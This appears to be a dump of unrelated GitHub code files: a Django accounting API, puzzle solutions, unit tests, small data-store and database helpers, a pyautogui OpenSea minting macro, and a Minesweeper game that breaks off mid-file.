return Response(response, status=status.HTTP_200_OK)\n except Exception as e:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n\nclass Subscription(APIView):\n required_permissions= [\"Can view accounting subscription\",]\n permission_classes = [GroupPermission]\n def get(self, request, id=None, format=None):\n # func = userpermisson(request)\n # obj = func.permissions.filter(name= \"Can view accounting subscription\").exists()\n # if not obj:\n # return Response({\"statusText\":\"Forbidden\"},status=status.HTTP_403_FORBIDDEN,)\n \n org = request.headers.get(\"organization\")\n try:\n if id is not None:\n if settings.ENVIRONMENT in [\"stage\", \"production\"]:\n data = seteraSubscriptionDetail(id)\n response = data\n else:\n response = dummy_sub_detail\n else:\n if settings.ENVIRONMENT in [\"stage\", \"production\"]:\n salesorders = seteraSubscription(org)\n count = len(salesorders)\n response = {\"count\": count, \"results\": salesorders}\n else:\n response = {\"count\": len(dummy_sub_list), \"results\": dummy_sub_list}\n return Response(response, status=status.HTTP_200_OK)\n except Exception as e:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n\n\nclass AccountingDescription(APIView):\n def get(self,request,format=None):\n func= userpermisson(request)\n # obj = func.permissions.filter(name= \"Can View Accounting\").exists()\n # if not obj:\n # return Response({\"message\":\"Permission denied\"},status=status.HTTP_400_BAD_REQUEST,)\n \n\n org = request.headers.get('organization')\n summery_type =request.query_params.get(\"summery_type\") \n try:\n if settings.ENVIRONMENT in [\"stage\", \"production\"]:\n summery = {\n \"subscription\":descriptionaccounting() ,\n \"service\":descriptionaccounting(),\n \"detailedsummery\" :descriptionaccounting(),\n }\n \n else:\n summery = {\n \"subscription\": Call_history_report,\n \"service\":Summary_by_services,\n \"detailedsummery\" :dummy_sub_detail,\n\n }\n response = summery.get(summery_type)\n response = {\"count\": len(response), \"results\": response}\n return Response(response,status=status.HTTP_200_OK)\n\n except Exception as e:\n print\n return Response({\"message\":\"Not found\"},status=status.HTTP_400_BAD_REQUEST)\n\n\n\n\n\n\n\n\n\nclass CdrsCallDetailsCAPI(APIView):\n required_permissions= [\"Can view accounting traffic\"]\n permission_classes = [GroupPermission]\n def get(self, request, id=None, format=None):\n # func = userpermisson(request)\n # obj = func.permissions.filter(name= \"Can view accounting traffic\").exists()\n # if not obj:\n # return Response({\"statusText\":\"Forbidden\"},status=status.HTTP_403_FORBIDDEN,)\n query_params = request.query_params\n startdate = query_params.get('startdate', None) \n enddate = query_params.get('enddate', None) \n phonenumber = query_params.get('phonenumber', None) \n goodsign_org_identifier = query_params.get('goodsign_org_identifier', None)\n payload = {\n \"org_id\" :goodsign_org_identifier,\n \"startdate\": startdate,\n \"enddate\": enddate,\n \"phonenumber\": phonenumber, \n \n }\n org = request.headers.get(\"organization\")\n good_org_id = Organization.objects.filter(id=org).first()\n obj = good_org_id.goodsign_org_identifier if good_org_id else None\n try:\n if settings.ENVIRONMENT in [\"stage\", \"production\"]:\n calldetails_url = \"https://setera-api.setera.com/gsApi/calldetails\" \n # Construct the URL with query parameters\n calldetails_url += \"?\" + \"&\".join(f\"{key}={value}\" for key, value in payload.items())\n call_data_response = requests.get(calldetails_url)\n \n data = call_data_response.json()\n data = [{**entry, \"goodsign_org_identifier\": obj} for entry in data]\n count = len(data)\n response = {\"count\": count, \"results\": data } \n\n else:\n data = calldetail_dummydata\n data = [{**entry, \"goodsign_org_identifier\": obj} for entry in data]\n count = len(data)\n response = {\"count\": count, \"results\": data, }\n \n return Response(response, status=status.HTTP_200_OK)\n except Exception as e:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"abhaymanhas19/rest_setera_project_thirdapi_integrations","sub_path":"henry/my-setera-BACKEND/my_backend/apps/accounting/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31457725129","text":"# 골드3\n# NxN 모래밭에서 연습\n# 좌표는 r, c\n# A[r][c] -> 해당 칸의 모래 양\n\n# 토네이도 시전하면 격자 가운데 칸부터 이동 시작\n# 한 번에 한 칸 이동\n\n# 토네이도가 이동하면, 해당 칸의 모든 모래가 비율과 a가 적혀있는 칸으로 이동\n# 비율 칸으로 이동하는 모래의 양은 해당 비율 만큼\n# a는 남은 만큼\n# 이미 모래 있는 칸으로 가면, 모래의 양은 더해짐\n\n# 토네이도 소멸 후 격자의 밖으로 나간 모래의 양 구하기!\n\n# <풀이 전략>\n# 1. 흩날리는 모래 비율 적힌 것을 이차원 배열(행렬)로 만들어서 그대로 곱해버리면 ..?\n# 2. 달팽이처럼 나가는 거 어떻게 해결할까! \n # 위치 이동은 \n # 1칸 왼, 아래\n # 2칸 오른, 위\n # 3칸 왼, 아래\n # 4칸 오른, 위 ...\n # (1, 1)에 도달할 때까지!\n\n\nimport sys\ninput = sys.stdin.readline\n\nN = int(input())\nmatA = [list(map(int, input().split())) for _ in range(N)]\nmatB = [\n [0, 0, 2, 0, 0],\n [0, 10, 7, 1, 0],\n [5, -1, 0, 0, 0],\n [0, 10, 7, 1, 0],\n [0, 0, 2, 0, 0,]\n]\nresult = 0\n\n# 특정 좌표의 모래 양을 matB를 곱해서 나눠주는 함수\ndef mul(morae, pos):\n global result\n global matB\n global matA\n global N\n\n x, y = pos\n new_mat = matA.copy() # 얕은 복사 -> new_mat 변경하면 matA도 변경됨!\n\n num = len(matB)//2\n alpha = (0, 0)\n total = 0\n out_morae = 0\n for i in range(x-num, x+num+1):\n for j in range(y-num, y+num+1):\n if (i, j)== (x, y):\n new_mat[i][j] = 0\n if j < 0 or j >= N or i < 0 or i >= N:\n if matB[i-(x-num)][j-(y-num)] == -1:\n alpha = (-1, -1)\n continue\n out_morae += int(morae * matB[i-(x-num)][j-(y-num)]/100)\n continue\n \n if matB[i-(x-num)][j-(y-num)] == -1:\n alpha = (i, j)\n continue\n new_mat[i][j] += int(morae * matB[i-(x-num)][j-(y-num)]/100)\n total += int(morae * matB[i-(x-num)][j-(y-num)]/100)\n\n total += out_morae\n\n if alpha == (-1, -1):\n out_morae += morae - total\n else:\n new_mat[alpha[0]][alpha[1]] += morae - total\n\n result += out_morae\n\n return new_mat\n\n\n# matrix를 왼쪽으로 90도씩 회전시키는 함수\ndef rotate():\n global matB\n # for i in range(len(matB)):\n # matB[i].reverse()\n # matB = list(map(list, zip(*matB)))\n \n temp = [[0]*len(matB) for _ in range(len(matB))]\n length = len(matB)-1\n\n for i in range(len(matB)):\n for j in range(len(matB)):\n temp[length - j][i] = matB[i][j]\n \n matB = temp\n return matB\n\n\n# 초기의 x, y는 중심부터 시작\nx, y = N//2, N//2\n\nmove = 0\ncnt = 0\nwhile x>=0 and y>=0:\n if x<=0 and y<=0:\n break\n\n cnt += 1\n if cnt%2 == 1:\n move += 1\n \n if cnt > 1:\n rotate()\n \n for i in range(move):\n if move%2 == 1:\n if cnt %2 == 1: # left\n y -= 1\n else: # down\n x += 1\n else:\n if cnt %2 == 1: # right\n y += 1\n else: # up\n x -= 1\n\n mul(matA[x][y], (x, y))\n \n\nprint(result)","repo_name":"zzzl-523/PS-Python-for-CodingTest","sub_path":"삼성sw기출/마법사 상어와 토네이도.py","file_name":"마법사 상어와 토네이도.py","file_ext":"py","file_size_in_byte":3324,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29071038604","text":"import unittest\r\nfrom args_parser import ArgsParser\r\nfrom args_parser import ParseError\r\nfrom hashable_list import List\r\n\r\n\r\nclass TestParser(unittest.TestCase):\r\n\r\n def test_initialization_wih_wrong_template(self):\r\n with self.assertRaises(ParseError):\r\n ArgsParser('wrong template')\r\n\r\n with self.assertRaises(ParseError):\r\n ArgsParser('():')\r\n\r\n def test_initialization_with_right_template(self):\r\n try:\r\n ArgsParser('(v|version):string; (r|red):boolean;')\r\n except ParseError:\r\n self.fail('Cannot initialize with right template.')\r\n\r\n def test_initialization_for_one_arg(self):\r\n parser = ArgsParser('(v|version):string')\r\n expected_schema = {List(['v', 'version']): 'string'}\r\n print(parser.schema)\r\n\r\n self.assertDictEqual(parser.schema, expected_schema)\r\n\r\n def test_initialize_for_multiple_args(self):\r\n parser = ArgsParser('(v|version):string; (r|red):boolean; (a|amount):numeric')\r\n expected_schema = {\r\n List(['v', 'version']): 'string',\r\n List(['r', 'red']): 'boolean',\r\n List(['a', 'amount']): 'numeric'\r\n }\r\n\r\n self.assertDictEqual(parser.schema, expected_schema)\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","repo_name":"xilaraux/args-parser","sub_path":"tests/test_args_parser.py","file_name":"test_args_parser.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"6814836790","text":"\"\"\"\nIn memory data store implementation for development and testing\n\"\"\"\nfrom __future__ import absolute_import, unicode_literals\nfrom collections import OrderedDict\nfrom datetime import datetime\nimport hashlib\nimport logging\n\nimport pytz\n\nfrom archelond.data.abstract import HistoryData\n\n\nlog = logging.getLogger(__name__) # pylint: disable=invalid-name\n\n\nclass MemoryData(HistoryData):\n \"\"\"\n A quick in memory deduplicated structure for standalone testing\n and development.\n \"\"\"\n INITIAL_DATA = [\n 'cd',\n 'pwd',\n 'echo hi',\n 'cat /proc/cpuinfo'\n ]\n\n def __init__(self, config):\n \"\"\"\n Initialize internal data structure with init data\n \"\"\"\n super(MemoryData, self).__init__(config)\n self.data = OrderedDict()\n for item in self.INITIAL_DATA:\n self.add(item, None, None)\n\n @staticmethod\n def _doc_id(command):\n \"\"\"\n hash the command to make the id\n \"\"\"\n return hashlib.sha256(command.encode('utf-8')).hexdigest()\n\n def add(self, command, username, host, **kwargs):\n \"\"\"\n Append item to data list\n \"\"\"\n cmd_id = self._doc_id(command)\n self.data[cmd_id] = {\n 'command': command,\n 'username': username,\n 'host': host,\n 'timestamp': datetime.utcnow().replace(tzinfo=pytz.utc),\n 'meta': kwargs\n }\n return cmd_id\n\n def delete(self, command_id, username, host, **kwargs):\n \"\"\"\n Remove key from internal dictionary\n \"\"\"\n del self.data[command_id]\n\n def get(self, command_id, username, host, **kwargs):\n \"\"\"\n Pull the specified command out of the data store.\n \"\"\"\n command = self.data[command_id]\n command['id'] = command_id\n return command\n\n def all(self, order, username, host, page=0, **kwargs):\n \"\"\"\n Simply rewrap the data structure, order, and return\n \"\"\"\n if page != 0:\n return []\n return self.filter(None, order, username, host)\n\n def filter(self, term, order, username, host, page=0, **kwargs):\n \"\"\"\n Return filtered and reversed OrderedDict.\n \"\"\"\n # we reverse a list, and pylint thinks that is a type change...\n # pylint: disable=redefined-variable-type\n if page != 0:\n return []\n\n if order and order == 'r':\n ordered_set = reversed(list(self.data.items()))\n else:\n ordered_set = list(self.data.items())\n result_list = []\n for command_id, meta in ordered_set:\n if term is None or term in meta['command']:\n meta['id'] = command_id\n result_list.append(meta)\n return result_list\n","repo_name":"carsongee/archelon","sub_path":"archelond/archelond/data/memory.py","file_name":"memory.py","file_ext":"py","file_size_in_byte":2800,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"} +{"seq_id":"5540341618","text":"import argparse\nimport configparser\nimport os\nimport tempfile\n\nfrom . import utils\n\n\ndef parse_args() -> argparse.Namespace:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"filename\", help=\"build config file (*.cfg)\")\n parser.add_argument(\"-m\", type=int)\n return parser.parse_args()\n\n\ndef main():\n args = parse_args()\n\n config = configparser.ConfigParser()\n config.read(args.filename)\n menu_build = config.get(\"menu\", \"build\")\n menu_modules = int(config.get(\"menu\", \"modules\"))\n buildarea = os.path.dirname(args.filename) # relative to build config\n\n if args.m is not None:\n module_ids = [f\"module_{args.m}\"]\n else:\n module_ids = [f\"module_{m}\" for m in range(menu_modules)]\n\n for module_id in module_ids:\n project_file = os.path.realpath(os.path.join(buildarea, \"proj\", module_id, module_id, f\"{module_id}.xpr\"))\n archive_file = os.path.realpath(os.path.join(os.getcwd(), f\"0x{menu_build}_{module_id}.zip\"))\n with tempfile.NamedTemporaryFile(delete=True) as source:\n source.write(f\"open_project {project_file}\\n\".encode())\n source.write(f\"archive_project {archive_file}\\n\".encode())\n source.flush()\n utils.vivado_batch(source.name)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"cms-l1-globaltrigger/ugt-fwtools","sub_path":"ugt_fwtools/archive_project.py","file_name":"archive_project.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8238645647","text":"import sqlite3\n\nclass youtube_database:\n\tconn_db = None\n\tcursor = None\n\n\tdef open_database(self):\n\t\tself.conn_db = sqlite3.connect(\"./yt_database.db\")\n\t\t# enable UTF-8 8-bytes representation\n\t\tself.conn_db.text_factory = str\n\t\tself.c = self.conn_db.cursor()\t\t\n\n\t\tsql = \"\"\"CREATE TABLE IF NOT EXISTS videos (\n\t\tvid TEXT NOT NULL,\n\t\ttitle TEXT NOT NULL,\n\t\tchannel_title TEXT, tags TEXT, category TEXT,\n\t\tpublished_date INTEGER, view_count INTEGER, like_count INTEGER, dislike_count INTEGER,\n\t\tcomment_count INTEGER, list_topics TEXT, audio_lang TEXT,\n\t\tPRIMARY KEY (vid),\n\t\tUNIQUE(vid));\"\"\"\n\t\tself.c.execute(sql)\n\t\t\n\t\tsql = \"\"\"CREATE TABLE IF NOT EXISTS comments (\n\t\tcid TEXT NOT NULL,\n\t\tvid TEXT NOT NULL,\n\t\tthread_id TEXT NOT NULL,\n\t\tcomment TEXT NOT NULL,\n\t\tpublished_date INTEGER,\n\t\tetag TEXT NOT NULL,\n\t\tlike_count INTEGER,\t\t\n\t\tPRIMARY KEY (cid),\n\t\tFOREIGN KEY (vid) REFERENCES videos(vid));\"\"\"\t\t\n\t\tself.c.execute(sql)\n\t\t\n\t\tself.c.execute(\"PRAGMA temp_store = MEMORY\")\n\t\tself.conn_db.commit()\n\n\tdef get_comments(self, vid):\n\t\tcomments = {}\n\n\t\tself.c.execute(\"SELECT cid, thread_id, comment, published_date, like_count, etag FROM comments WHERE vid = ?\", (vid, ))\n\t\trows = self.c.fetchall()\n\n\t\tfor row in rows:\n\t\t\tcomments.setdefault(row[1], [])\n\t\t\tcomments[row[1]].append([row[2], row[3], row[4], row[0], row[5]])\n\n\t\treturn comments\n\n\tdef get_video_infos(self, vid):\n\t\tself.c.execute(\"SELECT vid, title, channel_title, tags, category, published_date, view_count, like_count, dislike_count,\tcomment_count, list_topics, audio_lang FROM videos WHERE vid = ?\", (vid, ))\n\t\tvideo_infos = self.c.fetchone()\n\t\t\n\t\tlist_infos = []\n\t\tif video_infos:\n\t\t\tfor i in range(len(video_infos)):\n\t\t\t\tlist_infos.append(video_infos[i])\n\n\t\treturn list_infos\n\n\tdef insert_video_db(self, list_infos):\n\t\tself.c.execute(\"INSERT OR IGNORE INTO videos VALUES (?,?,?,?,?,?,?,?,?,?,?,?)\", list_infos)\n\t\tself.conn_db.commit()\n\t\n\tdef insert_comment_db(self, vid, comments):\n\t\tfor thread_id in comments:\n\t\t\tfor comment, published_date, like_count, cid, etag in comments[thread_id]:\n\t\t\t\tself.c.execute(\"INSERT OR IGNORE INTO comments VALUES (?,?,?,?,?,?,?)\", [cid, vid, thread_id, comment, published_date, like_count, etag])\n\t\tself.conn_db.commit()","repo_name":"rtackx/web-emotion","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"42026761868","text":"import sys\n\n# failure : 본문에서 F배열을 리턴하는 함수\ndef failure(pattern):\n table = [0] * len(pattern)\n j = 0\n for i in range(1, len(pattern)):\n while j > 0 and pattern[i] != pattern[j]:\n j = table[j - 1]\n if pattern[i] == pattern[j]:\n j += 1\n table[i] = j\n return table\n\n# 입력 및 정답 출력\nn = int(sys.stdin.readline())\npat = sys.stdin.readline().rstrip()\nprint(n - failure(pat)[n - 1])","repo_name":"james-taeil/Algorithm","sub_path":"BOJ/문자열/광고.py","file_name":"광고.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7688626796","text":"\"\"\"xun URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path,re_path\nfrom app import views\n\nurlpatterns = [\n # path(r'admin/', admin.site.urls),\n path(r'filter',views.search,name = \"search\"),\n path(r'task',views.task),\n path(r'plugin',views.plugin),\n path(r'plugin/',views.plugin),\n path(r'plugin_add',views.plugin_add),\n path(r'deleteplugin',views.plugin_del),\n path(r'analysis',views.analysis),\n path(r'config',views.config),\n path(r'login',views.login,name = \"login\"),\n path(r'',views.login),\n path(r'edit',views.edit,name='edit'),\n path(r'logout',views.logout),\n path(r'task_add',views.task_add),\n path(r'task_del',views.task_del),\n path(r'task/',views.detail,name=\"task_detail\"),\n path(r'download/',views.download,name=\"download\")\n]\n","repo_name":"w-digital-scanner/w11scan","sub_path":"xun/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","stars":458,"dataset":"github-code","pt":"60"} +{"seq_id":"3119328233","text":"class Dog:\n def __init__(self, name, age, weight):\n self.name = name\n self.age = age\n self.weight = age\n\n def bark(self):\n return \"{} is barking\".format(self.name)\n\n def run_speed(self):\n return \"the dog is running\".format(self.weight/self.age*10)\n\n def fight(self, other_dog):\n dog_criteria = (self.weight**2)/self.age*10\n other_dog_criteria = (other_dog.weight**2)/other_dog.age*10\n\n if dog_criteria > other_dog_criteria:\n return self.name\n else:\n return other_dog.name\n\n\nBen = Dog(\"Ben\", 4, 14)\nCliford = Dog(\"Cliford\", 5, 30)\nBill = Dog(\"Bill\", 9, 23)\nother_dog = Bill\n\nprint(Ben.fight(Bill))\nprint(Ben.bark())\n","repo_name":"AngkushTarachand/PY_Bootcamp_DI","sub_path":"Week_8/Day_4/Exercise_XP/Exercise_2.py","file_name":"Exercise_2.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"71897138110","text":"\"\"\"Script: Batch mint to OpenSea by DC\"\"\"\r\nimport pyautogui\r\nimport json\r\nfrom time import sleep\r\n\r\npyautogui.PAUSE = 0.5\r\nurl = \"https://opensea.io/collection/collectionnamehere/assets/create\" #opensea collection create URL\r\nscreenWidth, screenHeight = pyautogui.size()\r\ncurrentMouseX, currentMouseY = pyautogui.position()\r\n\r\n#pyautogui.moveTo(screenWidth-1000, 60)\r\n#pyautogui.click()\r\n#pyautogui.moveTo(screenWidth-100, 200)\r\n#pyautogui.click()\r\n\r\np = json.load(open('output.json', 'r'))\r\nimagelocation = 'Path\\\\to\\\\image\\\\folder\\\\'\r\nitemname = \"#\"\r\ndescription = \"\"\r\nsupply = ''\r\nnumprop = 1 #number of properties\r\n\r\nuploadbutton = None\r\nurlbar = None\r\ndef finduploadbutton():\r\n print(\"Finding upload button\")\r\n b = pyautogui.locateOnScreen('assets/upload.png')\r\n while not b:\r\n sleep(1)\r\n b = pyautogui.locateOnScreen('assets/upload.png')\r\n print(\"Using upload at \" + str(b))\r\n return(b)\r\n\r\ndef checkifpageloaded():\r\n pyautogui.moveTo(screenWidth-1000, 60)\r\n print(\"Checking if page loaded\")\r\n b = pyautogui.locateOnScreen('assets/collectionactive.png')\r\n while not b:\r\n sleep(1)\r\n b = pyautogui.locateOnScreen('assets/collectionactive.png')\r\n return True\r\n\r\ndef findURLbar():\r\n print(\"Finding url bar\")\r\n b = pyautogui.locateOnScreen('assets/urlbar.png')\r\n while not b:\r\n sleep(1)\r\n b = pyautogui.locateOnScreen('assets/urlbar.png')\r\n print(\"Using url bar at \" + str(b))\r\n return(b)\r\n\r\n\r\ndef clickItem(r):\r\n x = pyautogui.locateOnScreen(r)\r\n pyautogui.click(r)\r\n\r\ndef Tab(n=1):\r\n pyautogui.press('tab', n)\r\n\r\ndef Enter():\r\n pyautogui.press('enter')\r\n\r\n \r\ndef collection():\r\n clickItem('assets/collection.png')\r\n\r\ndef addItem():\r\n global urlbar\r\n if not urlbar:\r\n urlbar = findURLbar()\r\n pyautogui.click(urlbar)\r\n \r\n pyautogui.write(url)\r\n Enter()\r\n #clickItem('additem.png')\r\n\r\ndef upload(item):\r\n global uploadbutton\r\n checkifpageloaded()\r\n if not uploadbutton:\r\n uploadbutton = finduploadbutton()\r\n pyautogui.click(uploadbutton)\r\n url = imagelocation + str(item) + '.png' #eg. 1.png, 2.png\r\n print(\"Typing in the location of file\")\r\n pyautogui.write(url)\r\n Enter()\r\n sleep(1)\r\n Tab()\r\n name = itemname + str(item)\r\n print(\"Writing Item name as \" + name)\r\n pyautogui.write(name)\r\n Tab(3)\r\n print(\"Writing description\")\r\n pyautogui.write(description)\r\n Tab()\r\n #y = pyautogui.locateOnScreen('collectionimg.png')\r\n pyautogui.click()\r\n print(\"Opening Properties\")\r\n Tab()\r\n Enter()\r\n print(\"Writing type\")\r\n pyautogui.write('Color')\r\n Tab()\r\n colorname = p[str(item)]['name']\r\n print(\"Writing Name: \" + colorname)\r\n pyautogui.write(colorname)\r\n Tab(2)\r\n Enter()\r\n Tab(6+numprop)\r\n print(\"Writing Supply: \" + supply)\r\n pyautogui.write(supply)\r\n Tab()\r\n #z = pyautogui.locateOnScreen('polygon.png') #to use specific blockchain\r\n #pyautogui.click(z)\r\n Tab(2)#this to skip blockchain selection if collection is already selected\r\n Enter()\r\n x = pyautogui.locateOnScreen('urlbar.png')\r\n while not x:\r\n sleep(1)\r\n x = pyautogui.locateOnScreen('urlbar.png')\r\n print(\"Created!!\" + str(item))\r\n\r\n","repo_name":"disc0nnctd/opensea-macro","sub_path":"scripttoupload.py","file_name":"scripttoupload.py","file_ext":"py","file_size_in_byte":3267,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"} +{"seq_id":"75357418112","text":"import random\r\nimport time\r\nimport csv\r\nimport sys\r\nimport game_graphics\r\n\r\n\r\n# state dictionary keys:\r\n# \"field\": a 2-dimensional list describing the minefield\r\n# \"flags\": the coordinates (x, y) of the flags placed on the field\r\n# \"opened\": number of opened tiles\r\n# \"start_time\": game start time\r\n# \"end\": True when the game is over, otherwise False.\r\n\r\nstate = {\r\n\r\n \"field\": [],\r\n \"flags\": [],\r\n \"opened\": 0,\r\n \"start_time\": 0.0,\r\n \"end\": False,\r\n\r\n}\r\n\r\nstatistics = {\r\n\r\n \"date\": \"\",\r\n \"game_time\": \"\",\r\n \"result\": \"\",\r\n \"moves\": 0,\r\n \"field_size\": \"\",\r\n \"mine_count\": 0\r\n\r\n}\r\n\r\n\r\ngui = game_graphics.MyGUI()\r\n\r\n\r\ndef save_statistics(filename):\r\n \"\"\"\r\n Saves the game data from the statistics dictionary in \r\n csv format to the file given as an argument.\r\n The dictionary keys correspond to the following information:\r\n \"date\": game start time in the format \"year-month-day hours:minutes\"\r\n \"game_time\": game duration in \"hours:minutes:seconds\" format\r\n \"result\": \"Win\" or \"Lose\"\r\n \"moves:\" the number of moves as an integer\r\n \"field_size\": field size as a string \"widthxheight\"\r\n \"mine_count\": the number of mines as an integer\r\n\r\n example: 2020-12-08 19:37,00:02:44,Win,26,15x15,15\r\n \"\"\"\r\n\r\n data = [statistics[\"date\"], statistics[\"game_time\"], statistics[\"result\"], statistics[\"moves\"],\r\n statistics[\"field_size\"], statistics[\"mine_count\"]]\r\n\r\n try:\r\n with open(filename, 'a+', newline='') as file:\r\n writer = csv.writer(file)\r\n writer.writerow(data)\r\n\r\n except IOError:\r\n print(\"Failed to open file\")\r\n\r\n\r\ndef calculate_duration():\r\n \"\"\"\r\n Calculates the duration of the game and adds it to the\r\n \"statistics\" dictionary to key \"game_time\" in the format \"hours:minutes:seconds\".\r\n \"\"\"\r\n\r\n game_time = round(time.time() - state[\"start_time\"])\r\n statistics[\"game_time\"] = time.strftime(\"%H:%M:%S\", time.gmtime(game_time))\r\n\r\n\r\ndef read_statistics_file(stats_file):\r\n \"\"\"\r\n Reads the game statistics from the file given as an argument and prints it to the console.\r\n \"\"\"\r\n\r\n try:\r\n with open(stats_file, newline=\"\") as file:\r\n reader = csv.reader(file)\r\n\r\n for line in reader:\r\n print_statistics(line)\r\n\r\n except IOError:\r\n print(\"Failed to open file\")\r\n\r\n\r\ndef print_statistics(line):\r\n \"\"\"\r\n Formats and prints game statistics to the console.\r\n \"\"\"\r\n\r\n try:\r\n date, game_time, win, moves, size, mines = line\r\n h, m, s = game_time.split(\":\")\r\n\r\n except ValueError:\r\n print(\"Failed to read line\")\r\n return\r\n\r\n print(date + \",\", end=\" \")\r\n\r\n if h == '00':\r\n\r\n print(\"Game duration: {m}min {s}s,\".format(\r\n\r\n m=m.lstrip(\"0\").zfill(1),\r\n s=s.lstrip(\"0\").zfill(1)),\r\n end=\" \")\r\n else:\r\n\r\n print(\"Game duration: {h}h {m}min {s}s,\".format(\r\n h=h.lstrip(\"0\"),\r\n m=m.lstrip(\"0\").zfill(1),\r\n s=s.lstrip(\"0\").zfill(1)),\r\n end=\" \")\r\n\r\n print(\"{},\".format(win), end=\" \")\r\n\r\n if moves == \"1\":\r\n print(\"{} move,\".format(moves), end=\" \")\r\n else:\r\n print(\"{} moves,\".format(moves), end=\" \")\r\n\r\n print(\"{} tiles, {} mines\".format(size, mines))\r\n\r\n\r\ndef lower_limit(index):\r\n \"\"\"\r\n Returns 0 if the index given as an argument is 0.\r\n In other cases returns index-1. \r\n \"\"\"\r\n\r\n if index == 0:\r\n limit = 0\r\n else:\r\n limit = index - 1\r\n return limit\r\n\r\n\r\ndef higher_limit(list_length, index):\r\n \"\"\"\r\n Returns index+1, if the index given as an argument is the last index in the list.\r\n Otherwise returns index+2.\r\n \"\"\"\r\n\r\n if index == (list_length - 1):\r\n limit = index + 1\r\n else:\r\n limit = index + 2\r\n return limit\r\n\r\n\r\ndef count_mines(x, y, field):\r\n \"\"\"\r\n Counts the mines in the minefield that are diagonal or adjacent to \r\n the tile indicated by the x and y coordinates \r\n and returns their number.\r\n \"\"\"\r\n\r\n mine_count = 0\r\n\r\n try:\r\n for i in range(lower_limit(y), higher_limit(len(field), y)):\r\n\r\n for j in range(lower_limit(x), higher_limit(len(field[0]), x)):\r\n\r\n if field[i][j] == 'x':\r\n\r\n mine_count += 1\r\n\r\n except IndexError:\r\n pass\r\n\r\n return mine_count\r\n\r\n\r\ndef floodfill(x, y):\r\n \"\"\"\r\n Reveals unopened tiles in the minefield using a flood-fill algorithmn.\r\n Filling starts from the given x, y point.\r\n Filling is stopped when the first tile with at least 1 surrounding mine is reached.\r\n \"\"\"\r\n\r\n points = [(x, y)]\r\n field = state[\"field\"]\r\n\r\n if field[y][x] == ' ':\r\n\r\n if count_mines(x, y, field) != 0:\r\n\r\n field[y][x] = str(count_mines(x, y, field))\r\n state[\"opened\"] += 1\r\n return\r\n else:\r\n\r\n while points:\r\n\r\n try:\r\n for n in range(lower_limit(y), higher_limit(len(field), y)):\r\n\r\n for m in range(lower_limit(x), higher_limit(len(field[0]), x)):\r\n\r\n if field[n][m] == ' ' and (m, n) not in state[\"flags\"]:\r\n state[\"opened\"] += 1\r\n\r\n if count_mines(m, n, field) == 0:\r\n field[n][m] = str(count_mines(m, n, field))\r\n points.append((m, n))\r\n else:\r\n field[n][m] = str(count_mines(m, n, field))\r\n\r\n except IndexError:\r\n pass\r\n else:\r\n x = points[-1][0]\r\n y = points[-1][1]\r\n points.pop()\r\n\r\n\r\ndef handle_mouse(x, y, mouse_button, buttons):\r\n \"\"\"\r\n This function is called when the user clicks the application window with the mouse. \r\n Left clicking on the mouse opens a tile in the minefield. The right mouse button sets or removes a flag on the tile which the player has the mouse pointer on.\r\n \"\"\"\r\n\r\n x = x // 40\r\n y = y // 40\r\n\r\n try:\r\n if not state[\"end\"]:\r\n if mouse_button == gui.MOUSE_LEFT and (x, y) not in state[\"flags\"]:\r\n\r\n if state[\"field\"][y][x] == 'x':\r\n\r\n statistics[\"moves\"] += 1\r\n calculate_duration()\r\n statistics[\"result\"] = \"Lose\"\r\n state[\"end\"] = True\r\n save_statistics(file_name) # pylint: disable=E0601\r\n\r\n elif state[\"field\"][y][x] == ' ':\r\n statistics[\"moves\"] += 1\r\n floodfill(x, y)\r\n\r\n if (len(state[\"field\"][0]) * len(state[\"field\"])) - state[\"opened\"] - statistics[\"mine_count\"] == 0:\r\n calculate_duration()\r\n statistics[\"result\"] = \"Win\"\r\n state[\"end\"] = True\r\n save_statistics(file_name)\r\n\r\n elif mouse_button == gui.MOUSE_RIGHT:\r\n\r\n if state[\"field\"][y][x] == 'x' or state[\"field\"][y][x] == ' ':\r\n\r\n if (x, y) not in state[\"flags\"]:\r\n state[\"flags\"].append((x, y))\r\n else:\r\n state[\"flags\"].remove((x, y))\r\n\r\n elif state[\"end\"]:\r\n\r\n if mouse_button == gui.MOUSE_LEFT:\r\n gui.end()\r\n\r\n except IndexError:\r\n pass\r\n\r\n\r\ndef draw_field():\r\n \"\"\"\r\n A handler function which draws the tiles for the minefield \r\n onto the game window. \r\n This function is called every time the game engine requests an update of the screen 